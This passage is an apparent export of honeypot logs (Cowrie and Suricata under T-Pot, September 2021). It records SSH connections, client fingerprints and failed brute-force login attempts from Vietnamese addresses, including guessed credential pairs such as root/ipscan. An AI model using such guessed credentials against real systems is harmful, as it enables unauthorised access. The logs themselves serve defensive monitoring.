b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b37c111a99c4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:17.625863Z", "@timestamp": "2021-09-20T11:07:17.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22630	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:17.867557+03	2021-09-20 14:15:06.4585+03	{"_id": "IgbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5ac5f1b830b0", "@version": "1", "timestamp": "2021-09-20T11:07:17.867557Z", "@timestamp": "2021-09-20T11:07:17.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22631	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:17.824474+03	2021-09-20 14:15:06.460472+03	{"_id": "QwbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "eef8b70c24b3", "@version": "1", "timestamp": "2021-09-20T11:07:17.824474Z", "@timestamp": "2021-09-20T11:07:17.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22632	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:18.360914+03	2021-09-20 14:15:06.461504+03	{"_id": "RgbjAnwBvYTbRNuEigmB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 235320912462145, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51570, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.360914Z", "@timestamp": "2021-09-20T11:07:18.360Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22633	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.660294+03	2021-09-20 14:15:06.463497+03	{"_id": "SAbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48468 (192.168.176.2:22) [session: 482f54a8b521]", "session": "482f54a8b521", "@version": "1", "protocol": "ssh", "src_port": 48468, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.660294Z", "@timestamp": "2021-09-20T11:07:18.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22634	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.648298+03	2021-09-20 14:15:06.4645+03	{"_id": "TAbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [3user/user] failed", "session": "3f8180470eb2", "@version": "1", "password": "user", "username": "3user", "timestamp": "2021-09-20T11:07:18.648298Z", "@timestamp": "2021-09-20T11:07:18.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22635	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.666053+03	2021-09-20 14:15:06.465504+03	{"_id": "TQbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "482f54a8b521", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:18.666053Z", "@timestamp": "2021-09-20T11:07:18.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
35486	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:08:50.971451+03	2021-09-20 15:15:03.32469+03	{"_id": "SQYbA3wBvYTbRNuE41zr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:50.971451Z", "@timestamp": "2021-09-20T12:08:50.971Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
22636	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:18.724288+03	2021-09-20 14:15:06.466472+03	{"_id": "TgbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a46ea9b73856", "@version": "1", "timestamp": "2021-09-20T11:07:18.724288Z", "@timestamp": "2021-09-20T11:07:18.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22637	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:18.813851+03	2021-09-20 14:15:06.4685+03	{"_id": "YwbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/ipscan] failed", "session": "5ac5f1b830b0", "@version": "1", "password": "ipscan", "username": "root", "timestamp": "2021-09-20T11:07:18.813851Z", "@timestamp": "2021-09-20T11:07:18.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22638	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:19.055817+03	2021-09-20 14:15:06.469503+03	{"_id": "UAbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [daniel/daniel] failed", "session": "eef8b70c24b3", "@version": "1", "password": "daniel", "username": "daniel", "timestamp": "2021-09-20T11:07:19.055817Z", "@timestamp": "2021-09-20T11:07:19.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22639	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:19.131094+03	2021-09-20 14:15:06.471499+03	{"_id": "ZQbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3017dad45879", "@version": "1", "timestamp": "2021-09-20T11:07:19.131094Z", "@timestamp": "2021-09-20T11:07:19.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22640	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:18.942978+03	2021-09-20 14:15:06.473508+03	{"_id": "fAbjAnwBvYTbRNuEjglo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1312543807558561, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48468, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.942978Z", "@timestamp": "2021-09-20T11:07:18.942Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
